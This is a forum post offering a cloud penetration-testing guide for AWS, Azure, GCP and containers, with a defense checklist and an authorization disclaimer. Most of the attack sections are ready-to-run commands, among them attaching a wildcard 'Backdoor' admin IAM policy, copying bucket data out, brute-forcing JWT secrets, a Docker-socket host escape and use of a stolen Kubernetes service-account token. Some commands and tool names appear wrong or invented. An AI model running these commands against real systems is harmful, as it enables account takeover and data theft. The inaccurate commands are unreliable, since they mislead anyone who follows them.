Cloud Pentesting: AWS, Azure & GCP Complete Guide

[Blacksec]

Cloud Pentesting: AWS, Azure & GCP Complete Guide ​

---

> Posted by: cloud_reaper | Rank: Elite Member | Joined: 2022 [/I]

---

Spoiler: For Authorized Testing Only

Cloud security testing requires explicit authorization. Unauthorized access violates CFAA and similar laws.

Cloud environments are the new frontier. And they're FULL of misconfigurations.

I've found S3 buckets with production databases, Azure storage with private keys, and GCP buckets exposed to the internet. Here's how to systematically test cloud infrastructure.

---

━━━ AWS PENTESTING ━━━[/B]

Initial Reconnaissance:

# === Recon Phase ===

# Check for exposed AWS keys in public repos
gitrob target-domain.com
trufflehog --regex --email --key .
awscli configure # Check for local credentials

# Subdomain enumeration
Subfinder -d target.com -o subdomains.txt
amass enum -d target.com -o amass.txt

# Find AWS services
httpx -l subdomains.txt -follow-redirects -mc 200 -o live_hosts.txt
nmap -sV -iL live_hosts.txt -oN nmap_aws.txt

# Check for S3 buckets
aws s3 ls s3://bucket-name --region us-east-1 2>/dev/null
python3 s3urls.py --list --file subdomains.txt

# Enumerate IAM users
aws iam list-users --profile target_profile 2>/dev/null

S3 Bucket Testing:

# Check bucket permissions
aws s3api get-bucket-acl --bucket target-bucket
aws s3api get-bucket-policy --bucket target-bucket
aws s3api get-public-access-block --bucket target-bucket

# Try common bucket names
for bucket in production database backups src; do
  aws s3 ls s3://${bucket}-target --region us-east-1 2>/dev/null && echo "Found: ${bucket}-target"
done

# Check for data exfiltration
aws s3 cp s3://target-bucket/data.csv ./ 2>/dev/null

# Bucket policies
curl -s https://target-bucket.s3.amazonaws.com/ 2>/dev/null | grep -i "error\|denied\|access"

IAM Privilege Escalation:

# Check current user permissions
aws iam get-user
aws iam list-attached-user-policies --user-name current-user
aws iam list-user-policies --user-name current-user

# Look for privilege escalation paths
# Any of these actions allow privilege escalation:
# - iam:CreatePolicyVersion
# - iam:SetDefaultPolicyVersion
# - iam:AttachUserPolicy
# - iam:AttachGroupPolicy
# - iam:PutUserPolicy
# - iam:AddUserToGroup
# - sts:AssumeRole

# Exploit: Create and attach admin policy
aws iam create-policy --policy-name Backdoor --policy-document '{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}'
aws iam attach-user-policy --user-name target-user --policy-arn arn:aws:iam::ACCOUNT:policy/Backdoor

---

━━━ AZURE AD PENTESTING ━━━

Reconnaissance:

# === Microsoft 365 / Azure AD Recon ===

# Check email addresses
https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1

# Enumerate users with Olhar
python3 olhar.py target.com

# Check for external users
https://outlook.office365.com/owa/?realm=target.com

# Azure AD enumeration
python3 aadinternals.py get-aadinfos --tenant target.com

# Subdomain takeover
nuclei -l subdomains.txt -t aio.yaml -retries 1

Token Manipulation:

# === JWT Attacks ===
# Extract JWT from cookies/headers
# Decode: https://jwt.io

# Check for weak secrets
# Try common secrets first:
python3 jwt_tool.py TOKEN -d /usr/share/wordlists/seclist/JWT/known_secret.lst

# Brute force secret
python3 jwt_tool.py TOKEN -X plus
python3 jwt_tool.py TOKEN -d rockyou.txt

# Fix signature (attack without validation)
python3 jwt_tool.py TOKEN -x k
python3 jwt_tool.py TOKEN -x k -p new_payload

Conditional Access Bypass:

# Legacy auth protocols often bypass Conditional Access
# Enable legacy auth for testing:

# Outlook/Office apps with legacy auth
# MFA bypass possible if legacy auth enabled

# Certificate-based auth attacks
# Export stolen certificates
# Use for passwordless auth bypass

# Token replay attacks
# Capture valid tokens
# Replay in different context

---

━━━ GCP PENTESTING ━━━

Reconnaissance:

# === Google Cloud Platform Recon ===

# Check for exposed service account keys
# Search GitHub, pastebin, git repositories
curl https://raw.githubusercontent.com/.../key.json

# gcloud CLI setup
gcloud auth login
gcloud config list

# Enumerate projects
gcloud projects list --format="table(projectId,name)"

# Check IAM bindings
gcloud iam policy-members --constraints="constraints/iam.allowedPolicyMemberDomains" --organization ORGANIZATION_ID

GCS Bucket Testing:

# Check bucket permissions
gsutil ls -la gs://bucket-name

# Try to read objects
gsutil cp gs://bucket-name/private-data.csv ./

# Check bucket policy
gsutil iam get gs://bucket-name

# Common misconfigurations:
# - Public read access
# - Service account keys in source code
# - Insecure CORS policies

---

━━━ CLOUD SECURITY TOOLS ━━━

┌──────────────────┬──────────────────────────────────────────┐
│     Tool         │           Purpose                        │
├──────────────────┼──────────────────────────────────────────┤
│ Prowler          │ AWS security best practices auditor      │
│ ScoutSuite       │ Multi-cloud security auditing            │
│ nClouds          │ Cloud misconfiguration scanner           │
│ CloudGoat        │ Vulnerable AWS environments              │
│ Pacu             │ AWS exploitation framework               │
│ SubFinder        │ Subdomain enumeration                    │
│ nuclei           │ Template-based security scanning         │
│ CloudSpy         │ Cloud resource discovery                 │
│ CloudShell       │ Browser-based cloud shell                │
│ Terraform        │ Infrastructure as Code (check for leaks) │
└──────────────────┴──────────────────────────────────────────┘

Prowler - AWS Security Audit:

# Installation
pip3 install prowler

# Run checks
prowler aws --verbose
prowler aws -c iam_service_has_users
prowler aws -c s3_bucket_public_read
prowler aws -c ec2_securitygroup_default_restricted
prowler aws -c rds_instances_storage_encrypted

# Output formats
prowler aws -o json -o ./results.json
prowler aws -o html -o ./results.html

---

━━━ CONTAINER SECURITY ━━━

Docker/Kubernetes Pentesting:

# Check Docker socket
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

# Escalate to host
docker run -v /:/host --rm -it alpine chroot /host sh

# Kubernetes API
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl exec -it vulnerable-pod -- /bin/sh

# RBAC checks
kubectl auth can-i --list
kubectl auth can-i create pods
kubectl auth can-i get secrets

# Service account tokens
cat /var/run/secrets/kubernetes.io/serviceaccount/token
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://kubernetes.default.svc/api

---

━━━ DEFENSE: Cloud Security Best Practices ━━━

1. IAM Hardening
   - Least privilege principle
   - Disable root account access keys
   - Enable MFA on all accounts
   - Regular permission audits

2. Storage Security
   - Disable public access by default
   - Enable encryption at rest
   - Use bucket policies, not ACLs
   - Enable versioning for recovery

3. Network Security
   - Use VPCs with private subnets
   - Disable public IPs where possible
   - Implement WAF
   - Use security groups tightly

4. Monitoring
   - Enable CloudTrail/Azure Activity Log
   - Set up CloudWatch alarms
   - Monitor for unusual API calls
   - Log all access to sensitive resources

---

━━━ TL;DR ━━━

✅ Always get written authorization
✅ Start with recon (subdomains, exposed keys)
✅ Check S3/Azure blob/GCS bucket permissions
✅ Test IAM policies for privilege escalation
✅ Scan for default credentials
✅ Use automated tools (Prowler, ScoutSuite)
✅ Check container orchestration security
✅ Document everything for the report

---

What cloud platform do you test most? Drop your tips below.
Next: Mobile app security testing.

Last edited by cloud_reaper; 5 minutes ago.

---

[SIG]━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
cloud_reaper | Elite Member | Cloud Security
"The cloud is someone else's computer - and it's exposed"
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━[/SIG][/b][/b][/b][/b][/b][/b]